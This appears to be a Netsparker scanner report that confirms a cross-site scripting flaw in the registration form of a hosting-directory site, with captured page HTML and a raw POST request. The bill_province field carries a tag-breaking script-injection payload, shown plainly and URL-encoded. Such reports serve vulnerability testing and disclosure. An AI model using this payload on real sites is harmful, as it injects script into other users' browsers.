Date: Sun, 24 Apr 2011 13:18:55 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D23D3C00A022A8B980C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D2BBBF5F2B9DADB4476F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D23FC6C2482240B385C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D25FEFDF7C691566CCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2F8759591E848A2376F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D21647483ECA4B0806C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D21C042EF90D889615C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D23768F58B40456CD06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D2CF98FD80E7A1844EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D2B32BAE6E845E3A006F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D24CEB50CA8C85449CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D2C3EB4B18F2CCA262C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D2746073576EEC87D5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D22556472AEDF2D3F1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2C3758272A9287F9BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D2DE18FBB064DB1F09C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D260D5BC00D6693D0A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D20E6724CDD255F2E66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D280DDAFFADEEF88566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST '"--></style></script><script>alert(0x001E01)</script>
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E01)%3c%2fscript%3e&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:19:06 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D2792EF848CADED281C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D227CF68DE633120606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D2598EE309C3FC7663C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2211A6CE19BD1AE4CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2FCA98B308F125BBA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D2F97858D4A7FDDBFAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D27BDE7F9BB074ED8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D2C2C99549FAC7B7096F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D2095ADAA083EF7D91C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D2A0B70BBB2E681D016F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D26CDAA374D48DB31EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D2D6F93AB3339D3870C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D23A01BD7B24639A30C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2CD8DFA9623597202C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2A5922BDB8C629A7EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D2B959F8C4BE61F76FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D2A408DDF4AD0D56E66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D2B83449E6D59782176F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D2BD50F147FD3C5E776F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

